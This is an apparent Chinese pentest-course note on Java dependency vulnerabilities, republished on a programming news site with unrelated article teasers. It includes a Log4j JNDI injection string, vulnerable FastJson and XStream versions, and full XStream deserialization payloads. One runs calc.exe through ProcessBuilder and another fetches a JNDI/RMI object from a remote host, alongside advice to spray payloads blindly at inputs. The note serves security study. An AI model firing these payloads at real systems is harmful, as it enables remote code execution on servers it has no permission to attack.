第48天:Web开发-JavaEE应用依赖项Log4j日志Shiro验证FastJson数据XStream格式

#知识点

1、安全开发-JavaEE-第三方依赖开发安全

2、安全开发-JavaEE-数据转换&FastJson&XStream

3、安全开发-JavaEE-Shiro身份验证&Log4j日志处理

一、Log4j

一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。

1、Maven引用

<dependency>

<groupId>org.apache.logging.log4j</groupId>

<artifactId>log4j-core</artifactId>

<version>2.14.1</version>

</dependency>

2、接受输入值

3、Log4j错误处理

String code="${java:os}";

log.error("{}",code);

4、Jndi注入RCE执行

String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";

logger.error("{}",exp);

演示:2.14.1版本

结论:尝试输出日志时可利用JNDI注入触发RCE

利用:黑盒在各种地方插入 白盒看哪里有调用(见图)

黑盒:打开一个网页,看到有上传参数的点,无脑上传log4j的payload,因为不知道代码,也不知道是哪里接受恶意参数,只能无脑上传来测试

白盒:做代码审计看哪里调用了,会引发log4j漏洞的地方 

参考:https://mp.weixin.qq.com/s/95Jxj3R9q95CFhCn86IiYA

二、FastJson不同版本漏洞不一样

一个阿里巴巴开发的Java库,提供了Java对象与JSON相互转换

1、fastjson1.2.24的漏洞

<dependency>

<groupId>com.alibaba</groupId>

<artifactId>fastjson</artifactId>

<version>1.2.24</version>

</dependency>

2、fastjson1.2.25的漏洞

<dependency>

<groupId>com.alibaba</groupId>

<artifactId>fastjson</artifactId>

<version>1.2.25</version>

</dependency>

3、序列化方法:

JSON.toJSONString(),返回字符串;

JSON.toJSONBytes(),返回byte数组;

4、反序列化方法:

JSON.parseObject(),返回JsonObject;

JSON.parse(),返回Object;

JSON.parseArray(), 返回JSONArray;

将JSON对象转换为java对象:JSON.toJavaObject();

将JSON对象写入write流:JSON.writeJSONString();

6、常用:

JSON.toJSONString(),JSON.parse(),JSON.parseObject()

7、演示:1.2.24及1.2.25版本

结论:反序列化时会调用类里的get及set方法

利用:已知类的调用方法 自带类的调用链固定版本的CVE(见图)

黑盒:

①看抓包报错,url访问报错,工具扫描等,能不能暴露astjson及其版本

前提是Java写的应用,看burpsuite数据包传递JSON数据,尝试用payload替换json数据,无脑payload

 白盒:java调用fastjson库,并知道版本,代码审计看调用方法如parse(),parseObject()和可控变量

参考:https://mp.weixin.qq.com/s/EPdNElXPcZd5wEmQqAhFiQ

三、XStream

一个简单的基于Java库,Java对象序列化到XML,反之亦然(即:可以轻易的将Java对象和XML文档相互转换)。

1、Xstream1.4.5

<dependency>

<groupId>com.thoughtworks.xstream</groupId>

<artifactId>xstream</artifactId>

<version>1.4.5</version>

</dependency>

2、Xstream1.4.15

<dependency>

<groupId>com.thoughtworks.xstream</groupId>

<artifactId>xstream</artifactId>

<version>1.4.15</version>

</dependency>

3、序列化Car类:

Car car = new Car("Ferrari", 4000000);

XStream xStream = new XStream();

String xml = xStream.toXML(car);

System.out.print(xml);

4、反序列化Car类:

String xml = "上述序列化类的数据";

XStream xStream = new XStream();

xStream.fromXML(xml);

结论:反序列化时会调用类里的readObject方法(类需继承接口)

参考:https://mp.weixin.qq.com/s/M_oQyZYQEFu0nbG-IpJt_A

5、已知类的调用方法:(也就是上面的Car类被序列化反序列化,且继承了serializable,类中有readObject方法->:下面的payload才生效,条件比较苛刻)

String xml = "<com.example.xstreamdemo.Car serialization=\"custom\">\n" +

" <com.example.xstreamdemo.Car>\n" +  //Car类,继承了serializable,类中有readObject方法

" <default>\n" +

" <price>4000000</price>\n" +

" <name>Ferrari</name>\n" +

" </default>\n" +

" </com.example.xstreamdemo.Car>\n" +

"</com.example.xstreamdemo.Car>";

6、自带类的调用链固定版本的CVE

①适用xstream1.4.5版本,不适用xstream1.4.15版本,

String payload = "<sorted-set>\n" +

" <dynamic-proxy>\n" +

" <interface>java.lang.Comparable</interface>\n" +

" <handler class=\"java.beans.EventHandler\">\n" +

" <target class=\"java.lang.ProcessBuilder\">\n" +

" <command>\n" +

" <string>calc.exe</string>\n" +

" </command>\n" +

" </target>\n" +

" <action>start</action>\n" +

" </handler>\n" +

" </dynamic-proxy>\n" +

"</sorted-set>";

②适用xstream1.4.15版本

String poc="<java.util.PriorityQueue serialization='custom'>\n" +

" <unserializable-parents/>\n" +

" <java.util.PriorityQueue>\n" +

" <default>\n" +

" <size>2</size>\n" +

" <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>\n" +

" <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>\n" +

" <packet>\n" +

" <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>\n" +

" <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>\n" +

" <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>\n" +

" <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>\n" +

" <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>\n" +

" <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>\n" +

" <uriProperties/>\n" +

" <attributeProperties/>\n" +

" <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>\n" +

" <getter>\n" +

" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +

" <name>getDatabaseMetaData</name>\n" +

" <parameter-types/>\n" +

" </getter>\n" +

" </inheritedAttWildcard>\n" +

" </bi>\n" +

" <tagName/>\n" +

" <context>\n" +

" <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>\n" +

" <outer-class reference='../..'/>\n" +

" </marshallerPool>\n" +

" <nameList>\n" +

" <nsUriCannotBeDefaulted>\n" +

" <boolean>true</boolean>\n" +

" </nsUriCannotBeDefaulted>\n" +

" <namespaceURIs>\n" +

" <string>1</string>\n" +

" </namespaceURIs>\n" +

" <localNames>\n" +

" <string>UTF-8</string>\n" +

" </localNames>\n" +

" </nameList>\n" +

" </context>\n" +

" </bridge>\n" +

" </bridge>\n" +

" <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>\n" +

" <javax.sql.rowset.BaseRowSet>\n" +

" <default>\n" +

" <concurrency>1008</concurrency>\n" +

" <escapeProcessing>true</escapeProcessing>\n" +

" <fetchDir>1000</fetchDir>\n" +

" <fetchSize>0</fetchSize>\n" +

" <isolation>2</isolation>\n" +

" <maxFieldSize>0</maxFieldSize>\n" +

" <maxRows>0</maxRows>\n" +

" <queryTimeout>0</queryTimeout>\n" +

" <readOnly>true</readOnly>\n" +

" <rowSetType>1004</rowSetType>\n" +

" <showDeleted>false</showDeleted>\n" +

" <dataSource>rmi://192.168.1.4:1099/rj6obg</dataSource>\n" + //该payload需在此处生成JNDI的注入语句

" <params/>\n" +

" </default>\n" +

" </javax.sql.rowset.BaseRowSet>\n" +

" <com.sun.rowset.JdbcRowSetImpl>\n" +

" <default>\n" +

" <iMatchColumns>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" </iMatchColumns>\n" +

" <strMatchColumns>\n" +

" <string>foo</string>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" </strMatchColumns>\n" +

" </default>\n" +

" </com.sun.rowset.JdbcRowSetImpl>\n" +

" </jaxbObject>\n" +

" </dataSource>\n" +

" </message>\n" +

" <satellites/>\n" +

" <invocationProperties/>\n" +

" </packet>\n" +

" </indexMap>\n" +

" </comparator>\n" +

" </default>\n" +

" <int>3</int>\n" +

" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +

" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +

" </java.util.PriorityQueue>\n" +

"</java.util.PriorityQueue>";

特别注意:

以上payload用到了JNDI注入,该注入也有版本限制(这个版本限制指的是java运行程序使用的jdk版本限制)->造成我们白盒/黑盒发现了该Java代码使用xstream组件,也知道该组件的版本,并从网上找到了该版本xstream的payload->但是payloa执行不成功->分析:很有可能是jkd版本不对(该paoload里面有JNDI注入,该注入受jdk版本限制)

黑盒:

①看抓包报错,url访问报错,工具扫描等,能不能暴露Xstream及其版本

前提是Java写的应用,看burpsuite数据包传递XML数据,尝试用payload替换jxml数据,无脑payload

白盒:看调用方法和可控变量

四、Shiro

一个强大且易用的安全框架,可用于身份验证、授权、加密和会话管理等。

开发技术:利用AI提示写一个

结论:配置不当或版本安全漏洞

利用:固定版本的CVE利用(见图)

shiro工具利用:

黑盒:看身份验证数据包->是否有关键字Rememberme->判定网站使用了shiro

白盒:看版本及安全问题

参考:https://mp.weixin.qq.com/s/kmGcrVmaLi0Db_jwKKNXag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/25873.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用tkinter有UI方式来拷贝Excel文件

有需求使用tkinter 有用户交互界面来拷贝Excel文件&#xff0c;最后进行打包完成 代码如下&#xff0c;实现思路是先使用tkinter库选择Excel路径&#xff0c;然后保存到txt文档&#xff0c; import time import tkinter from pathlib import Path from typing import Optiona…

【六祎 - Note】Redis缓存设计模型,备忘录;

Redis缓存备忘录 from to : 点击访问源地址

天佐.乾坤袋 基于抽屉式文件存储的NoSql数据库

天佐.乾坤袋 天佐.乾坤袋 简介 天佐.乾坤袋 基于抽屉式文件存储的NoSql数据库&#xff0c;可用于文件打包&#xff0c;数据整合&#xff0c;加密存放等多种用途。可以方便快捷的搭建和部署存储应用的系统。 传说: 弥勒所有&#xff0c;专做储物之用。拥有不可思议之力&#x…

【前端基础】Day 5 CSS浮动

目录 1. 浮动 1.1 标准流&#xff08;普通流/文档流&#xff09; 1.2 浮动 1.2.1 浮动的特性 1.2.2 浮动元素常和标准流父级搭配使用 1.2.3 案例 2. 常见网页布局 2.1 常见网页布局 2.2 浮动布局注意点 3. 清除浮动 3.1 原因 3.2 清除浮动的本质 3.3 清除浮动的方…

硬编码(三)经典变长指令一

我们在前两节的硬编码中学习了定长指令&#xff0c;接下来学习变长指令 对于定长指令&#xff0c;我们通过opcode便可知该指令的长度&#xff0c;但是对于变长指令却是不可知的。变长指令长度由opcode&#xff0c;ModR/M&#xff0c;SIB共同决定。变长指令通常在需要操作内存的…

【免费】YOLO[笑容]目标检测全过程(yolo环境配置+labelimg数据集标注+目标检测训练测试)

一、yolo环境配置 这篇帖子是我试过的&#xff0c;非常全&#xff0c;很详细【cudaanacondapytorchyolo(ultralytics)】 yolo环境配置 二、labelimg数据集标注 可以参考下面的帖子&#xff0c;不过可能会出现闪退的问题&#xff0c;安装我的流程来吧 2.1 labelimg安装 label…

Cursor配置MCP Server

一、什么是MCP MCP&#xff08;Model Context Protocol&#xff09;是由 Anthropic&#xff08; Claude 的那个公司&#xff09; 推出的开放标准协议&#xff0c;它为开发者提供了一个强大的工具&#xff0c;能够在数据源和 AI 驱动工具之间建立安全的双向连接。 举个好理解…

【开源免费】基于SpringBoot+Vue.JS新闻资讯系统(JAVA毕业设计)

本文项目编号 T 220 &#xff0c;文末自助获取源码 \color{red}{T220&#xff0c;文末自助获取源码} T220&#xff0c;文末自助获取源码 目录 一、系统介绍二、数据库设计三、配套教程3.1 启动教程3.2 讲解视频3.3 二次开发教程 四、功能截图五、文案资料5.1 选题背景5.2 国内…

CSDN年度评选揭晓,永洪科技AI技术与智能应用双星闪耀

近日&#xff0c;永洪科技在CSDN&#xff08;中国专业开发者社区&#xff09;的年度评选中&#xff0c;凭借在人工智能技术创新与vividime在行业应用中的卓越表现&#xff0c;一举斩获“人工智能企业”及“智能应用”双料大奖。这一荣誉不仅彰显了永洪科技在AI领域的领先地位&a…

利用three.js在Vue项目中展示重构的stl模型文件

一、目的 为了在前端页面展示3d打印机打印过程 二、前期准备 完整模型的stl文件和模型切割成的n个stl文件 models文件夹下的文件就是切割后的stl文件 三、代码 <template><div ref"threeContainer" class"three-container"></div><…

自动驾驶两个传感器之间的坐标系转换

有两种方式可以实现两个坐标系的转换。 车身坐标系下一个点p_car&#xff0c;需要转换到相机坐标系下&#xff0c;旋转矩阵R_car2Cam&#xff0c;平移矩阵T_car2Cam。点p_car在相机坐标系下记p_cam. 方法1&#xff1a;先旋转再平移 p_cam T_car2Cam * p_car T_car2Cam 需要注…

【卡牌——二分】

题目 分析 发现答案具有二分性&#xff0c;果断二分答案 代码 #include <bits/stdc.h> using namespace std; using ll long long;const int N 2e510;int n, a[N], li[N]; ll m;bool check(int x) {ll t m;for(int i 1; i < n; i){if(a[i] > x) continue; //…

< 自用文儿 > Gobuster 暴力扫描工具与 SecLists 安全测试词表集合

Ethice 道德问题 GFW 的保护下&#xff0c;很多的设备操作系统是停留在更老的版本&#xff0c;应用软件也是&#xff0c;因此很多的漏洞没有被修复。通讯没有使用加密&#xff0c;例如网页没有使用 HTTPS 网站很多。几乎是半裸的在网络上等着被食。 不做恶是下限。 环境&…

java后端开发day23--面向对象进阶(四)--抽象类、接口、内部类

&#xff08;以下内容全部来自上述课程&#xff09; 1.抽象类 父类定义抽象方法后&#xff0c;子类的方法就必须重写&#xff0c;抽象方法在的类就是抽象类。 1.定义 抽象方法 将共性的行为&#xff08;方法&#xff09;抽取到父类之后。由于每一个子类执行的内容是不一样…

AI数据分析:用DeepSeek做数据清洗

在当今数据驱动的时代&#xff0c;数据分析已成为企业和个人决策的重要工具。随着人工智能技术的快速发展&#xff0c;AI 驱动的数据分析工具正在改变我们处理和分析数据的方式。本文将着重介绍如何使用 DeepSeek 进行数据清洗。 数据清洗是数据分析的基础&#xff0c;其目的是…

第2_3章_入门管理资源服务器

入门 对于某些应用程序&#xff0c;你可以参考以下资源&#xff0c;快速开始使用 Keycloak 授权服务&#xff1a; 在 Wildfly 中保护 JakartaEE 应用程序&#xff08;https://github.com/keycloak/keycloak-quickstarts/tree/latest/jakarta/servlet-authz-client&#xff09…

2025年如何实现安卓、iOS、鸿蒙跨平台开发

2025年如何实现安卓、iOS、鸿蒙跨平台开发 文章目录 2025年如何实现安卓、iOS、鸿蒙跨平台开发1. 使用统一开发框架2. 华为官方工具链支持3. 代码适配策略4. 生态兼容性处理5. 性能与体验优化总结&#xff1a;方案选择建议 本文首发地址 https://h89.cn/archives/324.html 最新…

Azure Speech

1、文字转语音(Text-To-Speech, TTS) 2、语音转文字(Speech-To-Text): Azure Speech to Text 1- 环境配置&#xff1a;Microsoft Azure 注册使用免费服务&#xff1a; 需要信用卡&#xff0c;本人没有&#xff0c;所以没有完成注册

Cursor AI编程-详细教程

一点准备工作 Cursor方法论&#xff1a;简单到没有方法 Cursor能做什么 Cursor官网&#xff1a;https://www.cursor.com/ja Cursor文档&#xff1a;Cursor – Welcome to Cursor Cursor论坛&#xff1a;Weekly - Cursor - Community Forum 写程序代码 举例&#xff1a; 设…

Linux共享内存

共享内存原理 简而言之&#xff0c;就是两个进程指向了同一块物理空间。&#xff08;它们都能看到同一块内存&#xff09; 共享内存在内核中同时可以存在很多个&#xff0c;OS要管理所有的共享内存。 如何保证两个不同进程看到的是同一个共享内存呢&#xff1f;&#xff1f;&…